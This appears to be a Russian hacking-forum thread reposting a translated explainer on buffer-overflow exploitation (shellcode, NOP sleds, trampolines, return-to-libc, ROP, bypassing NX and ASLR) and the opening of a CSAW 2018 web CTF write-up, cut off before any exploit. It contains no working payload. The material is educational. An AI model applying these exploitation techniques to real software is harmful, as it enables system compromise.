В других случаях, атакующий должен идти на хитрости. В функциях, обрабатывающих человеко-читаемый текст, байт с нулевым значением (null) часто имеет специальное значение; такой байт обозначает конец строки, и функции используемые для манипуляции строками — копирование, сравнение, совмещение — останавливаются. когда встречают этот символ. Это означает, что если шеллкод содержит ноль, эти процедуры его сломают.

(Примечание переводчика: в этом месте в авторском тексте приводится видео с демонстрацией переполнения. В нём, в буфер помещают шеллкод и переписывают адрес возврата. Шеллкод запускает стандартный калькулятор Windows.)​


Чтобы это обойти, атакующий может использовать различные приёмы. Небольшие фрагменты кода для конвертирования шеллкода с нулями в эквивалентную последовательность, избегающую проблемный байт. Так возможно пролезть даже через очень строгие ограничения; например, уязвимая функция принимает на вход только данные, которые можно набрать со стандартной клавиатуры.

Собственно адрес стека часто содержит нули, и здесь есть сходная проблема: это означает, что адрес возврата нельзя записать адрес из стекового буфера. Иногда это не страшно, потому что некоторые из функций, используемых для заполнения (и, потенциально, переполнения) буферов сами пишут нули. Проявляя некоторую осторожность, их можно использовать, чтобы поместить нулевой байт точно в нужное место, устанавливая в адресе возврата адрес стека.

Но даже когда это невозможно, ситуация обходится окольными путями (indirection). Собственно программа со всеми своими библиотеками держит в памяти огромное количество исполнимого кода. Большая часть этого кода будет иметь „безопасный“ адрес, т.е. не будет иметь нулей в адресе.

Тогда, атакующему нужно найти подходящий адрес, содержащий инструкцию вроде call esp (x86), которая использует значение указателя стека в качестве адреса функции и начинает её исполнение, чем идеально подходит для шеллкода спрятанного в стековом буфере. Атакующий использует адрес инструкции call esp для записи в качестве адреса возврата; процессор сделает лишний прыжок через этот адрес, но всё равно попадёт на шеллкод. Этот приём с прыжком через другой адрес называется „трамплином“.

Для эксплуатации переполнения, вместо того чтобы просто забить всё некими символами, атакующий пишет в буфер шеллкод: короткий участок исполнимого кода, который выполнит некое выбранное атакующим действие. Адрес возврата переписывается соответствующим адресом из буфера, заставляя процессор исполнять шеллкод при попытке возврата из процедуры.​


Это работает потому, повторюсь, что программа и её библиотеки при каждом запуске размещаются в одни и те же области памяти — даже между перезагрузками и даже на разных машинах. Одним из интересных моментов в этом деле является то, что библиотеке, от которой выполняется трамплин, самой даже не нужно использовать оператор call esp. Достаточно, чтобы в ней были два подходящих байта (в данном случае, со значениями 0xffи 0xd4) идущие друг-за-другом. Они могут быть частью какой-то иной функции, или даже просто числом; x86 не привередлива к таким вещам. Инструкции x86 могут быть очень длинными (до 15 байт!) и могут располагаться по любому адресу. Если процессор начнёт читать инструкцию с середины — со второго байта четырёхбайтной инструкции, к примеру — результат будет интерпретирован как совсем иная, но всё же валидная, инструкция. Это обстоятельство делает нахождение полезных трамплинов достаточно простым.

Иногда, однако, атака не может установить адрес возврата в точности куда требуется. Несмотря на то, что расположение объектов в памяти крайне схоже, оно может слегка отличаться от машины к машине или от запуска к запуску. Например, точное расположение подверженного атаке буфера может варьироваться вверх и вниз на несколько байт, в зависимости от имени системы или её IP-адреса, или потому, что минорное обновление программы внесло незначительное изменение. Чтобы справится с этим, полезно иметь возможность указать адрес возврата который примерно верен, но высокая точность не нужна.

Это легко делается с использованием приёма, называемого „посадочной полосой“ (NOP sled, букв. „сани из NOPов“ (спасибо Halt за корректный русскоязычный термин — прим.пер.)). Вместо того, чтобы писать шеллкод сразу в буфер, атакующий пишет большое число инструкций NOP (означающих „no-op“, т.е. отсутствие операции — говорит процессору ничего не делать), иногда сотни, перед настоящим шеллкодом. Для запуска шеллкода, атакующему нужно установить адрес возврата на позицию где-то посреди этих NOPов. И если мы попали в область NOPов, процессор быстро обработает их и приступит к настоящему шеллкоду.

Иногда сложно переписать адрес возврата адресом из буфера. В качестве решения, мы можем переписать адрес возврата адресом части исполнимого кода в программе-жертве (или её библиотеках). И этот фрагмент уже передаст управление в буфер.​


Во всём нужно винить C

Главный баг, который позволяет всё это сделать — записать в буфер больше, чем доступно места — выглядит как что-то, что легко избежать. Это преувеличение (хоть и небольшое) возлагать всю ответственность на язык программирования C, или его более или менее совместимых отпрысков, конкретно C++ и Objective C. Язык C стар, широко используем, и необходим для наших операционных систем и программ. Его дизайн отвратителен, и хотя всех этих багов можно избежать, C делает всё, чтобы подловить неосторожных.

В качестве примера враждебности C к безопасной разработке, взглянем на функцию gets(). Эта функция принимает один параметр — буфер — и считывает строку данных со стандартного ввода (что, обычно, означает „клавиатуру“), и помещает её в буфер. Наблюдательный читатель заметит, что функция gets() не включает параметр размера буфера, и как забавный факт дизайна C, отсутствует способ для функции gets() определить размер буфера самостоятельно. Это потому, что для gets() это просто не важно: функция будет читать из стандартного ввода, пока человек за клавиатурой не нажмёт клавишу Ввод; потом функция попытается запихнуть всё это в буфер, даже если этот человек ввёл много больше, чем помещается в буфер.

Это функция, которую в буквальном смысле нельзя использовать безопасно. Поскольку нет способа ограничить количество набираемого с клавиатуры текста, нет и способа предотвратить переполнение буфера функцией gets(). Создатели стандарта языка C быстро поняли проблему; версия спецификации C от 1999 года выводила gets() из обращения, а обновление от 2011 года полностью убирает её. Но её существование — и периодическое использование — показывают, какого рода ловушки готовит C своим пользователям.

Червь Морриса, первый само-распространяющийся зловред который расползся по раннему Интернету за пару дней в 1988, эксплуатировал эту функцию. Программа fingerd в BSD 4.3 слушает сетевой порт 79, порт finger. Finger является древней программой для Unix и соответствующим сетевым протоколом, используемым для выяснения того, кто из пользователей вошёл в удалённую систему. Есть два варианта использования: удалённую систему можно опросить и узнать всех пользователей, осуществивших вход, или можно сделать запрос о конкретном юзернейме, и программа вернёт некоторую информацию о пользователе.

К сожалению, gets() довольно глупая функция. Достаточно зажать клавишу А на клавиатуре, и она не остановится после заполнения буфера name. Она продолжит писать данные в память, перезаписывая указатель кадра, адрес возврата и всё остальное, до чего сможет дотянуться.​


Каждый раз при сетевом подключении к демону finger, он начинал чтение с сети — используя gets() — в стековый буфер длиной 512 байт. При нормальной работе, fingerd затем запускал программу finger, передавая ей имя пользователя (если оно было). Программа finger выполняла реальную работу по перечислению пользователей или предоставлению информации о конкретном пользователе. Fingerd просто отвечала за сетевое соединение и запуск finger.

Учитывая, что единственный „реальный“ параметр это необязательное имя пользователя, 512 байт является достаточно большим буфером. Скорее всего ни у кого нет имени пользователя и близко такой длины. Однако, нигде в системе это ограничение не было жёстким по причине использования ужасной функции gets(). Пошлите больше 512 байт по сети и fingerd переполнит буфер. И именно это сделал Роберт Моррис (Robert Morris): его эксплоит отправлял в fingerd 537 байт (536 байт данных и перевод строки, заставлявший gets() прекратить чтение), переполняя буфер и переписывая адрес возврата. Адрес возврата был установлен просто в области стекового буфера.

Исполнимая нагрузка червя Моррис была простой. Она начиналась с 400 инструкций NOP, на случай если раскладка стека будет слегка отличаться, затем короткий участок кода. Этот код вызывал шелл, /bin/sh. Это типичный вариант атакующей нагрузки; программа fingerd запускалась под рутом, поэтому, когда при атаке она запускала шелл, шелл тоже запускался под рутом. Fingerd была подключена к сети, принимая „клавиатурный ввод“ и аналогично отправляя вывод обратно в сеть. И то и другое наследовал шелл вызванный эксплойтом, и это означало, что рутовый шелл теперь был доступен атакующему удалённо.

Несмотря на то, что использования gets() легко избежать — даже во время распространения червя Морриса была доступна версия fingerd не использовавшая gets() — прочие компоненты C сложнее игнорировать, и они не менее подвержены ошибкам. Типичной причиной проблем является обработка строк в C. Поведение, описанное ранее — останов на нулевых байтах — восходит к поведению строк в C. В языке C, строка представляет собой последовательность символов, завершаемую нулевым байтом. В C существует набор функций для работы со строками. Возможно, лучшим примером являются strcpy(), копирующая строку из одного места в другое, и strcat(), вставляющая исходную строку следом за точкой назначения. Ни одна из этих функций не имеет параметра размера буфера назначения. Обе с радостью будут бесконечно читать из источника, пока не встретят NULL, заполняя буфер назначения и беззаботно переполняя его.

Даже если строковая функция в C имеет параметр размера буфера, она реализует это способом, ведущим к ошибкам и переполнениям. В языке C есть пара функций родственных strcat() и strcpy(), называемых strncat() и strncpy(). Буква n в именах этих функций означает что они, в некотором роде, принимают размер в качестве параметра. Однако n, хотя многие наивные программисты думают иначе, не является размером буфера в который происходит запись — это число символов для считывания из источника. Если в источнике символы закончились (т.е. достигнут нулевой байт), то strncpy() и strncat() заполнят остаток нулями. Ничто в этих функциях не проверяет истинный размер назначения.

В отличии от gets(), эти функции возможно использовать безопасным образом, только это не просто. В языках C++ и Objective-C есть лучшие альтернативы этим функциям C, что делает работу со строками проще и безопаснее, однако функции C также поддерживаются в целях обратной совместимости.

Более того, они сохраняют фундаментальный недостаток языка C: буферы не знают своего размера, и язык никогда не проверяет выполняемые над буферами чтения и записи, допуская переполнение. Именно такое поведение привело к недавнему багу Heartbleed в OpenSSL. То не было переполнение, а перечтение, когда код на C в составе OpenSSL пытался прочитать из буфера больше чем тот содержал, сливая информацию наружу.
Источник: https://habr.com/post/266591/
Оригинал:https://arstechnica.com/information-technology/2015/08/how-security-flaws-work-the-buffer-overflow/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Латание дыр

Конечно, человечество разработало множество языков в которых осуществляется проверка чтения и записи в буферы, что защищает от переполнения. Компилируемые языки, такие как поддерживаемый Mozilla язык Rust, защищённые среды исполнения вроде Java и .NET, и практически все скриптовые языки вроде Python, JavaScript, Lua и Perl имеют иммунитет к этой проблеме (хотя в .NET разработчики могут явным образом отключить защиту и подвергнуть себя подобному багу, но это личный выбор).

Тот факт, что переполнение буфера продолжает оставаться частью ландшафта безопасности, говорит о популярности C. Одой из причин этого, конечно, является большое количество унаследованного кода. В мире существует огромное количество кода на C, включая ядра всех основных операционных систем и популярных библиотек, таких как OpenSSL. Даже если разработчики хотят использовать безопасный язык, вроде C#, у них могут оставаться зависимости от сторонних библиотек, написанных на C.

Производительность является другой причиной продолжающегося использования C, хотя смысл такого подхода не всегда понятен. Верно, что компилируемые C и С++ обычно выдают быстрый исполняемый код, и в некоторых случаях это действительно очень важно. Но у многих из нас процессоры большую часть времени простаивают; если бы мы могли пожертвовать, скажем, десятью процентами производительности наших браузеров, но при этом получить железную гарантию невозможности переполнения буфера — и других типичных дыр, мы может быть бы решили, что это не плохой размен. Только никто не торопится создать такой браузер.

Несмотря ни на что, C сотоварищи никуда не уходит; как и переполнение буфера.

Предпринимаются некоторые шаги по предупреждению этого рода ошибок. В ходе разработки, можно использовать специальные средства анализа исходного кода и запущенных программ, стараясь обнаружить опасные конструкции или ошибки переполнения до того, как эти баги пролезут в релиз. Новые средства, такие как AddressSanitizer и более старые, как Valgrind дают такие возможности.

Однако, эти оба этих инструмента требуют активного вмешательства разработчика, что означает, что не все программы их используют. Системные средства защиты, ставящие целью сделать переполнения буфера менее опасными, когда они случаются, могут защитить много больше различного программного обеспечения. Понимая это, разработчики операционных систем и компиляторов внедрили ряд механизмов, усложняющих эксплуатацию этих уязвимостей.

Некоторые из этих систем нацелены на усложнение конкретных атак. Один из наборов патчей для Linux делает так, что все системные библиотеки загружаются в нижние адреса таким образом, чтобы содержать, по крайней мере, один нулевой байт в своём адресе; это существенно усложняет их использование в переполнениях эксплуатирующих обработку строк в C.

Другие средства защиты действуют более обще. Во многих компиляторах имеется какой-либо род защиты стека. Определяемое на этапе исполнения значение, называемое „канарейкой“ (canary) пишется в конец стека рядом с адресом возврата. В конце каждой функции, это значение проверяется перед выполнением инструкции возврата. Если значение канарейки изменилось (по причине перезаписи в ходе переполнения), программа немедленно рухнет вместо продолжения.

Возможно, важнейшим из средств защиты является механизм известный под именами W^X (»write exclusive-or execute"), DEP («data execution prevention»), NX («No Xecute»), XD («eXecute Disable»), EVP («Enhanced Virus Protection,» специфичный для AMD термин), XN («eXecute Never»), и, вероятно, другими. Здесь принцип прост. Эти системы стараются разделить память на записываемую (подходящую для буферов) и исполнимую (подходящую для библиотек и программного кода), но не одновременно ту и другую. Таким образом, даже если атакующий может переполнить буфер и контролировать адрес возврата, процессор не будет выполнять шеллкод.

Как бы вы его не назвали, это важный механизм ещё и потому, что он не требует вложений. Этот подход использует защитные меры встроенные в процессор, поскольку это часть механизма аппаратной поддержки виртуальной памяти.

Как уже говорилось ранее, в режиме виртуальной памяти каждый процесс получает свой набор частных адресов памяти. Операционная система и процессор совместно поддерживают соотношение виртуальных адресов к чему-то ещё; иногда, виртуальный адрес отображается на физическую память, иногда в часть файла на диске, а иногда в никуда, просто потому что он не распределён. Это соотнесение гранулярно и обычно происходит частями размером в 4096 байт, именуемыми страницами.

Структуры данных, используемые для отображения, включают не только местоположение (физическая память, диск, нигде) каждой страницы; они также обычно содержат три бита, определяющие защиту страницы: доступна ли страница для чтения, записи и исполнения. С такой защитой, области памяти процесса используемые под данные, такие как стек, могут быть помечены на чтение и запись, но не быть исполнимыми.

Одним из интересных моментов NX является то, что его можно применить к существующим программам «задним числом», просто путём обновления операционной системы до той, что поддерживает защиту. Иногда программы налетают на проблемы. JIT (Just-in-time)-компиляторы, используемые в Java и .NET, генерируют исполнимый код в памяти на этапе исполнения, и поэтому требуют память, которую можно и писать и исполнять (хотя, одновременность этих свойств не требуется). Когда ещё не было NX, вы могли исполнять код из любой памяти, которую могли читать, поэтому в таких JIT-компиляторах не было проблемы с особыми буферами чтения-записи. С появлением NX, от них требуется удостовериться, что защита памяти изменена с чтение-запись на чтение-исполнение.

Потребность в чём-то вроде NX была ясна, особенно для Microsoft. В начале 2000-х, пара червей показала, что у компании были серьёзные проблемы с безопасностью кода: Code Red, инфицировавший не менее 359000 систем под управлением Windows 2000 с сервисом Microsoft IIS Web server в июле 2001, и SQL Slammer, инфицировавший более 75000 систем с Microsoft SQL Server в январе 2003. Эти случаи хорошо ударили по репутации.

Оба червя эксплуатировали стековое переполнение буфера, и, удивительно, что хотя они появились тринадцатью и пятнадцатью годами позже червя Морриса соответственно, метод эксплуатации был почти идентичен. Нагрузка эксплойта помещалась в буфер на основе стека и переписывала адрес возврата (одним небольшим отличием являлось то, что оба червя использовали метод трамплина. Вместо прямого адреса стека, в адрес возврата прописывался адрес инструкции, которая возвращала управление в стек.).

Естественно, эти черви были более продвинуты и в других областях. Нагрузка Code Red не просто самовоспроизводилась; она производила дефейс веб-страниц и пыталась выполнять DoS-атаки. SQL Slammer нёс в себе всё необходимое для поиска новых целей для заражения и распространения по сети — всего в нескольких сотнях байт, при этом не оставляя следов на инфицированных машинах; перезагрузите машину — и его нет. Оба червя также работали в Интернете, который был многократно больше того, в котором распространился червь Морриса, и потому число заражений было сильно выше.

Однако основная проблема — легко эксплуатируемое переполнение стекового буфера — осталась прежней. Эти черви оказались в заголовках новостей и заставили многих сомневаться в возможности использовать Windows любого рода в качестве сервера, смотрящего в Интернет. Ответом Microsoft было начать всерьёз задумываться о безопасности. Windows XP Service Pack 2 была первым продуктом с установкой на безопасность. Было сделано несколько программных изменений, включая добавление программного межсетевого экрана, модификация Internet Explorer, препятствующая тихой установке тулбаров и плагинов, а также — поддержка NX.

Аппаратное обеспечение с поддержкой NX стало входить в быт где-то с 2004 года, когда Intel представила Prescott Pentium 4, поддержка со стороны операционных систем стала обыденностью со времён Windows XP SP2. В Windows 8 они решили ещё больше форсировать этот момент, отказавшись от поддержки процессоров, не умеющих NX.

Что было после NX

Несмотря на распространение поддержки NX, переполнение буфера остаётся актуальной проблемой информационной безопасности. Причиной тому является разработка ряда способов обхода NX.

Первый из них был похож на вышеописанный трамплин, передающий контроль шеллкоду в стековом буфере через инструкцию расположенную в другой библиотеке или исполнимом файле. Вместо того чтобы искать фрагмент исполнимого кода, который бы передал управление напрямую в стек, атакующий находит фрагмент, который сам делает что-то полезное.

Возможно, лучшим кандидатом на эту роль является Unix-функция system(). Она принимает один параметр: адрес строки, представляющей собой команду для исполнения — и обычно этот параметр передаётся через стек. Атакующий может создать нужную команду и поместить её в переполняемый буфер, а поскольку (традиционно) расположение объектов в памяти неизменно, адрес этой строки будет известен и может быть помещён на стек в ходе атаки. Переписанный адрес возврата в этом случае не указывает на адрес в буфере; он указывает на функцию system(). Когда функция подверженная переполнению завершает работу, вместо возврата в вызывающую функцию она запустит system(), что приведёт к исполнению заданной атакующим команды.

Вот так можно обойти NX. Функция system(), будучи частью системной библиотеки, уже исполнима. Эксплойту не требуется исполнять код из стека; достаточно прочитать команду с него. Этот приём получил название «return-to-libc» (возврат на libc, библиотеки Unix, содержащей множество ключевых функций, включая system(), и обычно загружаемой в каждый Unix-процесс, что делает её подходящей целью для такого использования) и был изобретён в 1997 году русским экспертом по информационной безопасности Solar Designer.

Хотя этот приём и полезен, у него есть ограничения. Часто функции принимают аргумент не со стека, а через регистры. Удобно передавать команды для исполнения, но они часто содержат эти дурацкие нули, что немало мешает. Кроме того, составить последовательность из различных вызовов таким способом весьма непросто. Это возможно — прописать несколько адресов возврата вместо одного — но нет способа изменить порядок следования аргументов, используя возвращаемые значения или что-либо ещё.

Вместо заполнения буфера шелкодом, мы заполняем его последовательностью адресов возврата и данными. Эти адреса возврата передают управление существующим фрагментам исполнимого кода в программе-жертве и её библиотеках. Каждый фрагмент кода выполняет операцию и выполняет возврат, передавая управление по следующему адресу возврата.


За несколько лет, return-to-libc был обобщён для обхода этих ограничений. В конце 2001 было задокументировано несколько вариантов расширения этого способа: возможность нескольких вызовов и решение проблемы нулевых байтов. Более сложный способ, решавший большую часть этих проблем, был формально описан в 2007 году: return-oriented-programming (ROP, возвратно-ориентированное программирование).

Здесь используется тот же принцип что и в return-to-libc и трамплине, но более обобщённый. Там где трамплин использует единственный фрагмент кода для передачи исполнения шеллкоду в буфере, ROP использует много фрагментов кода, называемых «гаджетами» в оригинальной публикации. Каждый гаджет следует определённому шаблону: он выполняет некую операцию (запись значения в регистр, запись в память, сложение регистров, и т.п.), за которой следует команда возврата. То самое свойство, что делает x86 пригодным для трамплина работает и здесь; системные библиотеки, загруженные в память процессом, содержат сотни последовательностей которые можно интерпретировать как «действие и возврат», а значит, могут быть использованы для ROP-атак.

Для объединения гаджетов в одно целое используется длинная последовательность адресов возврата (а также любых полезных и необходимых данных) записанных в стек в ходе переполнения буфера. Инструкции возврата прыгают с гаджета на гаджет, в то время как процессор редко (или никогда) вызывает функции, а только возвращается из них. Интересно то, что по крайней мере на x86, число и разнообразие полезных гаджетов таково, что атакующий в прямом смысле может делать всё что угодно; это подмножество x86, используемое особым образом, зачастую является Тьюринг-полным (хотя полный спектр возможностей будет зависеть от загружаемых программой библиотек, и следственно перечнем доступных гаджетов).

Как и в случае с return-to-libc, весь действительно исполнимый код берётся из системных библиотек, и как следствие защита вроде NX бесполезна. Большая гибкость этого подхода означает, что эксплойты могут делать то, что сложно организовать последовательностью return-to-libc, например, вызывая функции принимающие аргументы через регистры, использовать возвращаемые значения одних функций в других и прочее.

Нагрузка в ROP-атаках бывает разной. Иногда это простой код для получения шелла (доступа к командному интерпретатору). Другим распространённым вариантом является использование ROP для вызова системной функции для изменения NX-параметров страницы памяти, меняя их с записываемых на исполнимые. Сделав это, атакующий может использовать обычную, не-ROP нагрузку.
Источник: https://habr.com/post/266591/
Оригинал:https://arstechnica.com/information-technology/2015/08/how-security-flaws-work-the-buffer-overflow/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Рандомизация

Эта слабость NX давно известна, и эксплойты такого типа шаблоны: атакующий заранее знает адрес стека и системных библиотек в памяти. Всё зиждется на этом знании, а потому очевидным решением является лишить атакующего этого знания. Именно этим занимается ASLR (Address Space Layout Randomization, Рандомизация развёртки адресного пространства): он делает случайной позицию стека и расположение в памяти библиотек и исполнимого кода. Обычно они меняются при каждом запуске программы, перезагрузке или некоторой их комбинации.

Данное обстоятельство значительным образом осложняет эксплуатацию, поскольку, совершенно неожиданно, атакующий не знает где лежат нужные для ROP фрагменты инструкций, или хотябы где находится переполняемый стек.

ASLR во многом сопутствует NX, закрывая такие крупные дыры как возврат к libc или ROP. К несчастью, он несколько менее прозрачен, чем NX. Не считая JIT-компиляторов и ряда других специфичных случаев, NX может быть безопасно внедрён в существующие программы. ASLR более проблематичен: с ним программы и библиотеки не могут полагаться в своей работе на значение адреса, в который они загружены.

В Windows, например, это не должно быть большой проблемой для DLL. В Windows, DLL всегда поддерживали загрузку в разные адреса, а вот для EXE это может быть проблемой. До ASLR, EXE всегда загружались в адрес 0x0040000 и могли полагаться на этот факт. С внедрением ASLR это уже не так. Чтобы предотвратить возможные проблемы, Windows по умолчанию требует от программ явного указания поддержки ASLR. Люди, думающие о безопасности, могут, однако, изменить это поведение по умолчанию, заставив Windows включить ASLR для всех программ и библиотек. Это почти никогда не вызывает проблем.

Ситуация вероятно хуже в Linux на x86, поскольку подход к реализации ASLR на этой платформе даёт потерю производительности до 26 процентов. Более того, этот подход требует компиляции программ и библиотек с поддержкой ASLR. Нет способа администратору сделать ASLR принудительным, как в Windowsю (на x64 потеря производительности пусть и не уходит совсем, но значительно снижается)

Когда ASLR активен, он даёт сильную защиту от простого взлома. Однако, он не совершенен. Например, одним из ограничений является степень случайности, которую можно получить, что особенно заметно на 32-битных системах. Хотя в адресном пространстве 4 миллиарда различных адресов, не все они доступны для загрузки библиотек или размещения стека.

Для этого существует множество ограничений. Некоторые из них состоят в широте целей. В общем случае, операционная система предпочитает загружать библиотеки близко друг-к-другу на одном из концов адресного пространства процесса, чтобы как можно больше непрерывного места было доступно приложению. Вам не хочется получить по одной библиотеке через каждые 256МБ памяти, поскольку тогда возможное наибольшее унитарное выделение памяти будет меньше 256МБ, что ограничивает возможность приложения работать с данными большого объёма.

Исполнимые файлы и библиотеки обычно должны быть загружены так чтобы начинаться, по крайней мере, на границе страницы. Обычно, это означает, что они должны быть загружены в адрес, делимый на 4096. Различные платформы могут и иметь подобные ограничения для стека; Linux, например, начианет стек на адресе делимом на 16. Системы с ограничением по памяти иногда вынуждены ещё более ограничить случайность, чтобы иметь возможность всё разместить.

Результаты бывают различными, но иногда атакующий могут угадать нужный адрес, с высокой вероятностью попадания. Даже невысокого шанса — скажем, один из 256 — может быть достаточно в некоторых ситуациях. Когда атакуешь веб-сервер, который автоматически перезапустит рухнувший процесс, не важно, что 255 из 256 атак приведут к краху процесса. Он будет перезапущен, и можно попробовать снова.

Но на 64-битных системах, адресное пространство так велико, что такой подход не поможет. У атакующего может быть только один шанс из миллиона или даже один из миллиарда, и это достаточно мало, чтобы это не было важно.

Угадывание и падение не слишком хорошая стратегия для атаки, скажем, браузеров; ни один пользователь не будет перезапускать браузер 256 раз кряду лишь бы дать атакующему шанс. В результате, эксплуатация такой уязвимости в системе с активными NX и ASLR не может быть произведена без посторонней помощи.

Такая помощь может быть нескольких видов. В браузере можно использовать JavaScript или Flash — и то и другое содержит JIT-компиляторы генерирующие исполнимый код — для заполнения памяти аккуратно сконструированным исполнимым кодом. Это создаёт что-то вроде большой посадочной полосы, приём под названием «heap spraying» («напыление кучи»). Другим подходом может быть нахождение вторичного бага, позволяющего раскрыть адреса библиотек или стека в памяти, давая атакующему достаточно информации для создания специфичного набора возвратных адресов для ROP.

Третий подход также был популярен в браузерах: использовать библиотеки, не умеющие ASLR. Старые версии, например, плагинов Adobe PDF или Microsoft Office не поддерживали ASLR, и Windows по умолчанию не форсирует ASLR. Если атакующий может вызвать загрузку такой библиотеки (например, загрузив PDF в скрытом фрейме браузера), то об ASLR можно уже не беспокоиться, а использовать эту библиотеку для целей ROP.

Война без конца

Между теми, кто эксплуатирует уязвимости и теми, кто защищает, идёт постоянная гонка вооружений. Мощные защитные системы, вроде ASLR и NX, поднимают планку, усложняя использование недостатков, и благодаря им мы оставили времена простого переполнения буфера позади, но умные атакующие могут найти комбинацию дыр и обойти эти защитные меры.

Эскалация продолжается. Набор Microsoft EMET («Enhanced Mitigation Experience Toolkit», «расширенный набор инструментов противодействия») включает ряд полу-экспериментальных средств защиты, которые могут обнаруживать heap spraying или попытки вызова определённых критичных функций в ROP-эксплойтах. Но в непрерывной цифровой войне, даже часть этих приёмов уже побеждена. Это не делает их бесполезными — сложность (а значит и цена) эксплуатации уязвимостей возрастает с каждым применённым средством противодействия — но это напоминание о необходимости постоянной бдительности.
Источник: https://habr.com/post/266591/
Оригинал:https://arstechnica.com/information-technology/2015/08/how-security-flaws-work-the-buffer-overflow/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Хакерский кинематографический клуб CSAW Quals 2018

Name : Hacker Movie Club | Team:NULLKrypt3rs | Solves :71 | Type : Web | Note : Files here

Заявление о проблеме :

Хакерские фильмы очень популярны, поэтому нам нужен сайт, который мы можем масштабировать. Вам лучше начать, хотя есть много фильмов для просмотра.​
45610621-343d2900-ba7a-11e8-9006-2a8fc5046b50.png

Заявление о проблеме
Ниже приведена страница, которую вы нажимаете на ссылку



45611081-d3aeeb80-ba7b-11e8-9b61-1585599e41c5.png

домашняя страница



Первоначальный анализ
Первое, что я делаю на веб-проблеме, это проверить его источник, а затем проверить каждую функциональность веб-приложения, передав его через прокси (предпочтительно пакет Burp), чтобы проверить некоторые скрытые заголовки и т. Д. Прокси помогает в анализе запросов позже, поскольку он сохраняется в его истории.

На странице не было никаких функций, кроме кнопки отчета .

У него был файл js, а именно cdn.js:

JavaScript:
[
for (let t of document.head.children) {
    if (t.tagName !== 'SCRIPT')
        continue;
    let { cdn, src } = t.dataset;
    if (cdn === undefined || src === undefined)
        continue;
    fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
    ).then(r=>r.blob()).then(b=> {
        let u = URL.createObjectURL(b);
        let s = document.createElement('script');
        s.src = u;
        document.head.appendChild(s);
    });
}

/CODE]
Ну, источник также показывает наличие двух других файлов:
[CODE=javascript]
<script data-src="mustache.min.js" data-cdn="27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services"></script>
Сравнивая файл mustache.min.js с исходным файлом, я убедился, что в него нет ничего подозрительного.

Теперь, придя в app.js :
JavaScript:
var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {
        if (window.loaded_recapcha === true)
            return resolve();
        window.loaded_recapcha = resolve;
    }),
    new Promise((resolve) => {
        if (window.loaded_mustache === true)
            return resolve();
        window.loaded_mustache = resolve;
    })
]).then(([user, view])=>{
    document.getElementById('content').innerHTML = Mustache.render(view,user);

    grecaptcha.render(document.getElementById("captcha"), {
        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
        theme: 'dark',
        callback: t=> {
            token = t;
            document.getElementById('report').disabled = false;
        }
    });
    let hidden = true;
    document.getElementById('report').onclick = () => {
        if (hidden) {
          document.getElementById("captcha").parentElement.style.display='block';
          document.getElementById('report').disabled = true;
          hidden = false;
          return;
        }
        fetch('/api/report',{
            method: 'POST',
            body: JSON.stringify({token:token})
        }).then(r=>r.json()).then(j=>{
            if (j.success) {
                // The admin is on her way to check the page
                alert("Neo... nobody has ever done this before.");
                alert("That's why it's going to work.");
            } else {
                alert("Dodge this.");
            }
        });
    }
});
Здесь есть два замечания:

  1. Есть комментарий, который гласит:
    // The admin is on her way to check the page
    Это когда конечная точка отчета возвращает сообщение об успешномзавершении . Итак, возможно, нам нужно сделать XSS и пропустить некоторые данные от администратора. Но раньше, чем мысль приходит мне в голову, я понимаю, что конечной точки входных данных нет (хотя я попытался изменить json, отправляемый в /api/reportконечной точке, но ничего не вернулся :()
  2. Как мы видим, код использует Promise для извлечения файла main.mst из некоторого cdn. Если вы внимательно посмотрите строки в cdn.js :
    fetch(`//${cdn}/cdn/${src}`,{
    а затем URL-адрес, характерный вид выделяется четко (не так ли)
    //27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services/cdn/main.mst
    В любом случае это было просто наблюдение.
Расследование Burp
Я обычно при выполнении багов (или веб-вопросов) настраивает целевую область для удаления ненужного беспорядка (в багетах с ошибками это помогает многому сосредоточиться), не обязательно решить этот вопрос:



45611771-386b4580-ba7e-11e8-9a84-f8290d69d897.png

Настройка целевого охвата

А затем ✓ параметры фильтрации Show only in-scope options:
45611856-9b5cdc80-ba7e-11e8-99e4-2e66ce847b45.png

Параметры фильтра прошивки Burp

Со всей этой настройкой теперь возвращаемся к проблеме: есть запрос к конечной точке /api/movies, который возвращает следующий json:
JSON:
{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}
Я не могу не заметить, что последняя запись json:
JSON:
{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}
